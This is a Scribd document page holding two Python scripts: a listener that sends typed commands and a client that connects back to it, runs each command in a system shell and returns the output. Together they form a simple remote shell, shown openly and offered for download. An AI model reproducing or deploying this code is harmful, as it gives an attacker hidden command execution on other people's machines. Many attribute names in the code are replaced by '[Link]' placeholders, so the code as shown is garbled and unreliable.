0% found this document useful (0 votes)
31 views2 pages

Socket Server-Client Command Execution

The document contains two Python scripts for a client-server architecture using sockets. The server script listens for incoming connections and sends commands to the client, while the client receives commands and executes them, sending back the output. Error handling is included to manage connection issues and command execution errors.

Uploaded by

d3r0x-h4cking
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
31 views2 pages

Socket Server-Client Command Execution

The document contains two Python scripts for a client-server architecture using sockets. The server script listens for incoming connections and sends commands to the client, while the client receives commands and executes them, sending back the output. Error handling is included to manage connection issues and command execution errors.

Uploaded by

d3r0x-h4cking
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

server = """

import socket

host = input('Enter your IP: ')


port = int(input('Enter the port: '))

connect = [Link](socket.AF_INET, socket.SOCK_STREAM)


[Link]((host, port))
[Link]()

print(f'\033[93mListening on {host}:{port}\033[0m')

c, addr = [Link]()
print(f'Got connection from {addr}')

while True:
try:
data = input('➡️ \033[91mEnter the command: \033[0m')

#if not data:


#pass

[Link]([Link]('utf-8')) # Send command to client


rcv = [Link](4096)

if not rcv:
print('Connection closed by client.')
break

print([Link]('utf-8'))

except Exception as e:
print(f'Error: {e}')
break

[Link]()
[Link]()

"""

client = """

import socket
import subprocess
import os

[Link]('clear')

IP = input('\033[94mPut the IP which you wrote in [Link]: \033[0m')


print ('')
PORT = int(input('\033[92mPut the port which you wrote in the [Link]: \033[0m'))

s = [Link](socket.AF_INET, socket.SOCK_STREAM)
[Link]((IP, PORT))
while True:
try:
command = [Link](4096).decode('utf-8') # Receive command

if not command: # If server closes connection


print('Connection closed by server.')
break

output = [Link](command, shell=True, stderr=[Link])


[Link](output)

except [Link] as e: # Handle command errors


[Link](f"Command error: {[Link]('utf-8')}".encode('utf-8'))
except Exception as e: # Handle other errors
[Link](f"Error: {str(e)}".encode('utf-8'))

[Link]()

"""

You might also like